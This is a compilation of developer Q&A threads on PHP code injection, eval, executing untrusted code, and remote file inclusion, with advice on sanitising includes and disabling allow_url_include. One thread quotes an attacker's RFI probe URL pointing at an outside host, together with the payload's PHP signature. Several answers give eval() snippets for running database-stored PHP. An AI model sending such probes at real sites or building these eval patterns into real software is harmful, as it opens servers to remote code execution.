I'm building a web application and I'm concern with security.
Is it a way to make a "php injection", in the same way it is possible to make "SQL injection" ? That means client can send some php code which will be executed on the server.
Until we don't use the "eval" function, I would like to say "no" because when we get a value by $_GET and $_POST, all the data are treated as simple string... But maybe I don't see an obvious attack.
In general, not unless you evaluate it with something that might parse and execute PHP. You already mentioned eval, but there are other functions that have eval-like properties (e.g. preg_replace, if the attacker manages to inject the /e modifier) or can otherwise allow unwanted levels of access (e.g. system()).
Also, if an attacker can upload a file and get it interpreted as PHP, he can run PHP code. nginx can be easily misconfigured in a way that allows attackers to execute PHP code in image files. The same goes for getting your web site to include() his code - possibly by overwriting your files with his uploads, or changing the include() arguments to point to a remote site (if that is not disabled in php.ini).
There are a number of ways in which you could, potentially, have a "PHP injection". eval is one of them. shell_exec and related functions are a risk too (always use escapeshellarg!) But the common theme is putting user input somewhere it can be executed. This is the case with SQL injections, where the query is a string that contains user input and is then executed on the MySQL server.
One slightly more obscure example is file uploads. If you allow uploading of files to your server, do NOT allow unfettered access to them! Someone could upload a PHP file, then access it and get full control of your site, so... yeah, be careful with uploads!
You would call it PHP injection if the PHP script ”constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment”[1].
So for PHP as the processor, any function, whose parameter are being interpreted as PHP, directly or indirectly, may be prone to PHP injection. This includes obviously the eval function, but also functions like create_function, and preg_replace with PREG_REPLACE_EVAL modifier.
Furthermore, this also includes routines that generate PHP code for being written to file like configuration files during an application setup. Or routines that execute PHP via php -r …, even when escaped via escapeshellarg.
Have a look at the observed examples for CWE-94: Improper Control of Generation of Code ('Code Injection').
Related
From a html form input area, I write a C source file (using PHP 'file_put_contents'), then compile it and run it () and print results, using PHP.
But before running it, I check input data for what I consider as C prohibited words, like 'fopen', 'goto', and so. (using PHP 'strpos').
Why 'fopen' ? because I dont want the user using this form to open a PHP source file and get sensible data from it...
My question : is there a possibility to use escape sequence ou any thing else used by hackers that would make possible to use these prohibited words ?
An extract of the actual source code :
- to compile :
$reponseModele = shell_exec("gcc -o source.exe source.c 2>&1");
to run (with input data for 'scanf')
$reponseTest = shell_exec("gcc -o cource.exe < data.txt 2>&1");
Edit 1
Nothing secret in PHP source files (except database password...but not 'root' one...)
I am taking into account the fact that the security is very low, but as it is a personal web site, for education and student evaluation, risks are limited, except if user can start a massive attack from this web site...
As I told in comments, I have checks some C keywords (from your comments, I have added 'asm' 'extern', 'volatile'), loops are checked.
Something to control would be 'malloc', maybe.
The question that still keep in mind is : is there a possibility to escape characters so that 'fopen', or other keyword, could be executed ?
More PHP code will help
$srcprog is the main C source and I add a count( I will change the name...), $contenuTest is the code to compile :
$contenuTest = "static int ctz = 0; \n#include <stdlib.h> \n" . "$srcprog";
Then, I add loops checks (I will also change the 100 limit...) :
$contenuTest = str_replace("{", "{ ctz++; if (ctz>100) {printf(\"BOUCLE !!!\");exit(99);}", $contenuTest);
Blacklisting words is not sufficient. There is no way to verify that the code provided by the remote user will not attempt anything malicious. There is no way to prevent malicious access by restricting the source text of the program: if you want to run untrusted code, you need operating system sandboxing (e.g. run the code inside a virtual machine, and firewall that machine off from everything else). (And even then, there's the danger of Spectre attacks against the VM host.)
To give you an idea of the dangers here: it would be trivial to write a program that constructs arbitrary bytes on the stack, and then "accidentally" returns execution to that buffer; this means that the attacker can write arbitrary machine code that gets executed directly. The compiler can't do anything about this (it might emit a warning, but those can be disabled), and no blacklisting of keywords will prevent you from being able to allocate values on the stack or return from functions, not if you want the program to be able to do anything useful.
Not to mention that there are lots of trivial denial-of-service attacks here: an attacker can just write a program that forkbombs, or consumes 100% CPU forever, or many other things that might not be explicitly malicious but that would make your server useless for any other work.
A commenter mentioned the Halting problem as proof that this approach can never work. The stronger proof is Rice's theorem, which proves that any non-trivial semantic property of a program is undecidable. Essentially, if you are given a piece of code and asked "does this code do X" for any value of X, there will always be some pieces of code for which it does do X, but you couldn't figure that out without actually executing it and seeing what happens.
I have a PHP code stored in the database, I need to execute it when retrieved.
But my code is a mix of HTML and PHP, mainly used in echo "";
A sample that looks like my code:
echo "Some Text " . $var['something'] . " more text " . $anotherVar['something2'];
How can I execute a code like the either if I add the data to the DB with echo""; or without it.
Any ideas?
UPDATE:
I forgot to mention, I'm using this on a website that will be used on intranet and security will be enforced on the server to ensure data safety.
I have a PHP code stored in the database
STOP now.
Move the code out of the database.
And never mix your code with data again.
It's not only a bad idea but also invitation to several type of hacking attempts.
You can do with eval(). but never use it . The eval() is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.
See eval. It lets you pass a string containing PHP and run it as if you'd written it directly into your file.
It's not a common practice to store executable PHP in a database; is the code you store really that different that it makes more sense to maintain many copies of it rather than adapting it to do the same thing to static data in the database? The use of eval is often considered bad practice as it can lead to problems with maintenance, if there's a way of avoiding it, it's normally worth it.
You can execute code with eval():
$code_str = "echo 'Im executed'";
eval($code_str );
BUT PAY ATTENTION that this is not safe: if someone will get access on your database he will be able to execute any code on your server
use the eval() function.
heres some info
http://www.php.net/manual/en/function.eval.php
something along the lines of:
eval($yourcode);
If that is the last resort, you want it to be secure as it will evaluate anything and hackers love that. Look into Suhosin or other paths to secure this in production.
As everyone'd indicated using eval() is a bad approach for your need. But you can have almost the same result by using whitelist approach.
Make a php file , db_driven_functions.php for instance. get your data from db. and map them in an array as below
//$sql_fn_parameters[0] = function name
//$sql_fn_parameters[1,2,3.....] = function parameters
Then define functions those include your php code blocks.for instance
my_echo($sql_fn_parameters){
echo $sql_fn_parameters[1];//numbered or assoc..
}
then pull the data which contains function name
after controlling if that function is defined
function_exists("$sql_fn_parameters[0]")
call function
call_user_func_array() or call_user_func()
( any you may also filter parameters array $sql_sourced_parameters_array does not contain any risky syntaxes for more security.)
And have your code controlled from db without a risk.
seems a little bit long way but after implementing it's really a joy to use an admin panel driven php flow.
BUT building a structure like this with OOP is better in long term. (Autoloading of classes etc. )
Eval is not safe obviously.
The best route IMO
Save your data in a table
Run a stored procedure when you are ready to grab and process that data
You should not abuse the database this way. And in general, dynamic code execution is a bad idea. You could employ a more elegant solution to this problem using template engines like Smarty or XSLT.
There are a few way to achieve this:
1) By using evil
eval($data);
That's not a typo, eval is usually considered evil and for good reasons. If you think you have fully validated user data to safely use eval, you are likely wrong, and have given a hacker full access to your system. Even if you only use eval for your own data, hacking the database is now enough to gain full access to everything else. It's also a nightmare to debug code used in eval.
2) Save the data to a file, then include it
file_put_contents($path, $data); include $path;
There are still the same security concerns as eval but at least this time the code is easier to debug. You can even test the code before executing it, eg:
if (strpos(exec('php -l '.$path), 'No syntax errors detected') === false))
{
include $path;
}
The downside to this method, is the extra overhead involved in saving the code.
3) Execute the code straight from the database.
You'd need to use database software that allows this. As far as I am aware, this is only includes database software that stores the content as text files. Having database software with "php eval" built in would not be a good thing. You could try txt-db-api. Alternatively, you could write your own. It would like become very difficult to maintain if you do though but is something to consider if you know exactly how you want your data to be structured and are unlikely to change your mind later.
This could save a lot of overhead and have many speed benefits. It likely won't though. Many types of queries run way faster using a traditional database because they are specifically designed for that purpose. If there's a possibility of trying to write to a file more than once at the same time, then you have to create a locking method to handle that.
4) Store php code as text files outside of the database
If your database contains a lot of data that isn't php code, why even store the php code in the database? This could save a lot of overhead, and if you're database is hacked, then it may no longer be enough to gain full access to your system.
Some of the security considerations
Probably more than 99% of the time, you shouldn't even be attempting to do what you are doing. Maybe you have found an exception though, but just being an intranet, isn't enough, and certainly doesn't mean it's safe to ignore security practices. Unless everyone on the intranet needs full admin access, they shouldn't be able to get it. It's best for everyone to have the minimum privileges necessary. If one machine does get hacked, you don't want the hacker to have easy access to everything on the entire intranet. It's likely the hacker will hide what they are doing and will introduce exploits to later bypass your server security.
I certainly need to do this for the CMS I am developing. I'm designing it mainly to produce dynamic content, not static content. The data itself is mostly code. I started off with simple text files, however it slowly evolved into a complicated text file database. It's very fast and efficient, as the only queries I need are very simply and use indexing. I am now focusing on hiding the complexity from myself and making it easy to maintain with greater automation. Directly writing php code or performing admin tasks requires a separate environment with Superuser access for only myself. This is only out of necessity though, as I manage my server from within, and I have produced my own debugging tools and made an environment for code structured a specific way that hides complexity. Using a traditional code editor, then uploading via ssh would now be too complicated to be efficient. Clients will only be able to write php code indirectly though and I have to go to extreme lengths to make that possible, just to avoid the obvious security risks. There are not so obvious ones too. I've had to create an entire framework called Jhp and every piece of code, is then parsed into php. Every function has to pass a whitelist, is renamed or throws an error, and every variable is renamed, and more. Without writing my own parser and with just a simple blacklist, it would never be even a tiny bit secure. Nothing whatsoever client-side can be trusted, unless I can confirm on every request that it has come entirely from myself, and even then my code error checks before saving so I don't accidentally break my system, and just in case I still do, I have another identical environment to fix it with, and detailed error information in the console that even works for fatal errors, whilst always been hidden from the public.
Conclusion
Unless you go to the same lengths I have (at minimum), then you will probably just get hacked. If you are sure that it is worth going to those lengths, then maybe you have found an exception. If your aim is to produce code with code, then the data is always going to be code and it cannot be separated. Just remember, there are a lot more security considerations other than what I have put in this answer and unless the entire purpose of what you are doing makes this a necessity, then why bother at all mix data with code?
A guy called ShiroHige is trying to hacking my website.
He tries to open a page with this parameter:
mysite/dir/nalog.php?path=http://smash2.fileave.com/zfxid1.txt???
If you look at that text file it is just a die(),
<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>
So what exploit is he trying to use (WordPress?)?
Edit 1:
I know he is trying use RFI.
Is there some popular script that are exploitable with that (Drupal, phpBB, etc.)?
An obvious one, just unsanitized include.
He is checking if the code gets executed.
If he finds his signature in a response, he will know that your site is ready to run whatever code he sends.
To prevent such attacks one have to strictly sanitize filenames, if they happen to be sent via HTTP requests.
A quick and cheap validation can be done using basename() function:
if (empty($_GET['page']))
$_GET['page']="index.php";
$page = $modules_dir.basename($_GET['page']).".php";
if (!is_readable($page)) {
header("HTTP/1.0 404 Not Found");
$page="404.html";
}
include $page;
or using some regular expression.
There is also an extremely useful PHP configuration directive called
allow_url_include
which is set to off by default in modern PHP versions. So it protects you from such attacks automatically.
The vulnerability the attacker is aiming for is probably some kind of remote file inclusion exploiting PHP’s include and similar functions/construct that allow to load a (remote) file and execute its contents:
Security warning
Remote file may be processed at the remote server (depending on the file extension and the fact if the remote server runs PHP or not) but it still has to produce a valid PHP script because it will be processed at the local server. If the file from the remote server should be processed there and outputted only, readfile() is much better function to use. Otherwise, special care should be taken to secure the remote script to produce a valid and desired code.
Note that using readfile does only avoids that the loaded file is executed. But it is still possible to exploit it to load other contents that are then printed directly to the user. This can be used to print the plain contents of files of any type in the local file system (i.e. Path Traversal) or to inject code into the page (i.e. Code Injection). So the only protection is to validate the parameter value before using it.
See also OWASP’s Development Guide on “File System – Includes and Remote files” for further information.
It looks like the attack is designed to print out "ShiroHige" on vulnerable sites.
The idea being, that is you use include, but do not sanitize your input, then the php in this text file is executed. If this works, then he can send any php code to your site and execute it.
A list of similar files can be found here. http://tools.sucuri.net/?page=tools&title=blacklist&detail=072904895d17e2c6c55c4783df7cb4db
He's trying to get your site to run his file. This would probably be an XSS attack? Not quite familiar with the terms (Edit: RFI - Remote file inclusion).
Odds are he doesn't know what he's doing. If there’s a way to get into WordPress, it would be very public by now.
I think its only a first test if your site is vulnerable to external includes. If the echo is printed, he knows its possible to inject code.
You're not giving much detail on the situation and leaving a lot to the imagination.
My guess is that he's trying to exploit allow_url_fopen. And right now he's just testing code to see what he can do. This is the first wave!
I think it is just a malicious URL. As soon as i entered it into my browser, Avast antivirus claimed it to be a malicious url. So that php code may be deceiving or he may just be testing. Other possibility is that the hacker has no bad intentions and just want to show that he could get over your security.
In my CMS I've added this code <div><?php include("my_contact_form.php") ?></div> which updates to a db. I can see it there OK.
I have this php code in my display page after the db call:
$content = $row['content'];
when I echo $content inside the body this is displayed in the HTML source:
<div><?php include("my_contact_form.php") ?></div>
How could this possibly be? Why wouldn't it show my contact form?
If anyone has any suggestions I would be extremely grateful.
Cheers.
It sounds like you are storing the PHP code in the database and expecting it to be executed when you echo it. This won't happen, as far as the PHP interpreter is concerned it's just text (not PHP code) so it will just echo it.
You can force PHP to interpret (/run) the code in your string with the eval() function, but that comes with a large number of security warnings.
Storing code in the database is rarely the right solution.
The simple solution is to run eval() on your content.
$content = $row['content'];
eval("?>".$content."<?php");
The closing PHP tag and opening PHP tag allow you to embed HTML and PHP into the eval() statement.
About the choice of storing your PHP and the DB vs Files.
Assuming you're goal is to have PHP that can be edited by admins from an interface, and executed by your server.
You have two choices:
Write the PHP to files, and include or exec() the files.
Write the PHP to the DB, and exec() or cache the content to files and include().
If you're on a dedicated or VPS server, then writing to files is the best choice.
However, if you're on a shared hosting system, then writing to DB is actually the safer choice. However, this comes with the task that you must use a very safe system for querying the database, to eliminated all SQL injection possibility.
The reason the DB is safer in a shared environment is due to the fact that you'll need write access for the PHP process to the PHP files. Unfortunately, on "every" shared hosting setup, the same PHP user runs on each account and thus has write access to the same PHP files. So a malicious user just has to sign up for hosting and land on the same physical machine as you, or exploit a different account to gain access to yours.
With saving the PHP in mysql, PHP cannot write to the mysql files since it doesn't have the privileges. So you end up with more secure code, if you eliminate the possibility of SQL injection. Note that if you have an SQL injection vulnerability with write ability, then you have also opened a remote code execution vulnerability.
Edit:
Sorry the correct syntax is:
eval("\r\n?>\r\n ".$php."\r\n<?php\r\n");
Thats been tested quite intensively to work on every PHP configuration/setup.
You're echoing $content, that just prints out the value, but it doesn't execute any PHP within it.
If you're using an existing CMS, like Joomla, Drupal, etc.
The CMS is handling the text from the DB as what it is - text. It won't execute the text, it's probably just pulling it as a string from the DB and echoing it onto the page. See Brenton Alker's answer for a better explaination.
If possible, it would be better to work within the functionality of the CMS, and avoid hacking your CMS's source to use eval(). Depending which CMS you're using, there may be a feature (ie: a button in your editor, or similar) to include code from another file.
Or perhaps there's a feature to create "objects", "modules", whatever-they-wanted-to-call-them, which would allow you to place the code (as HTML) that you're trying to include into an "object", stored in the DB, allowing you to include it in numerous pages. This would attain the same goals as doing an include() in PHP (code reuse, avoiding duplicates, making changes in one place, etc.) but it would also save you having to hack the CMS or start risking security.
If you've built your own CMS
You may want to build such a feature in. It all depends on your needs, and how important security is.
Ultimately if you use eval(), and if anyone hacks either:
Your DB
Your CMS's admin interface
then they will be able to execute any PHP code on your server. And if you have exec() enabled in your php.ini (which is not safe), then they will also be able to run any code they want on your server itself... eeek!
Thanks for this - simple solutions are the best for me! Thanks for the extra info too. Sadly eval() as you suggest it didn't work for me here. So, plan C, I've decided to create a selectable tinymce template that has an iframe which calls the contact_form page and all the processing happens in the iframe. This works. Thanks everyone!
I am working on a website which the good user inputs a website domain name, http://www.mysite.com.
But I have been reading about remote file inclusion (RFI), and it is pretty interesting. Simply by adding ?page=http://www.mysite.com/index.php? or something near that I get some type of error (500).
Other peoples sites using wordpress/ PHP if I do the same I also get an error.
I do not know if this means the script was run, but how can I keep my input clean? I already use REGEX, but I want the user to be able to input any website and process it accordingly. I certainly do not want significant security holes anywhere in my script.
Good night here in Boston on the East Coast [EST]
The HTTP 500 error you're seeing sounds like something that mod_security, a module for Apache, is generating. mod_security scans all input against a set of security rules, one of which probably is checking for RFI. This is a first line of defense.
To protect against RFI, there's a few other things you can do. First, since PHP 5.2.0, there is an option called allow_url_include. When set to false, this will cause PHP to throw an error whenever a file is being included that is an URL. Most people will want to have this setting set to false.
Additionally, there's sanitizing your input. There's a variety of ways to do it, indeed like using regex, but you could also look at the filter extension. Just be sure to be strict enough, you wouldn't want to allow someone to sneak in a ../../ and having a peek a level or two higher in the file hierarchy.
The safest, but sometimes also a very impractical, way to security file access would be to use a whitelist of the exact files that would be allowed to be included.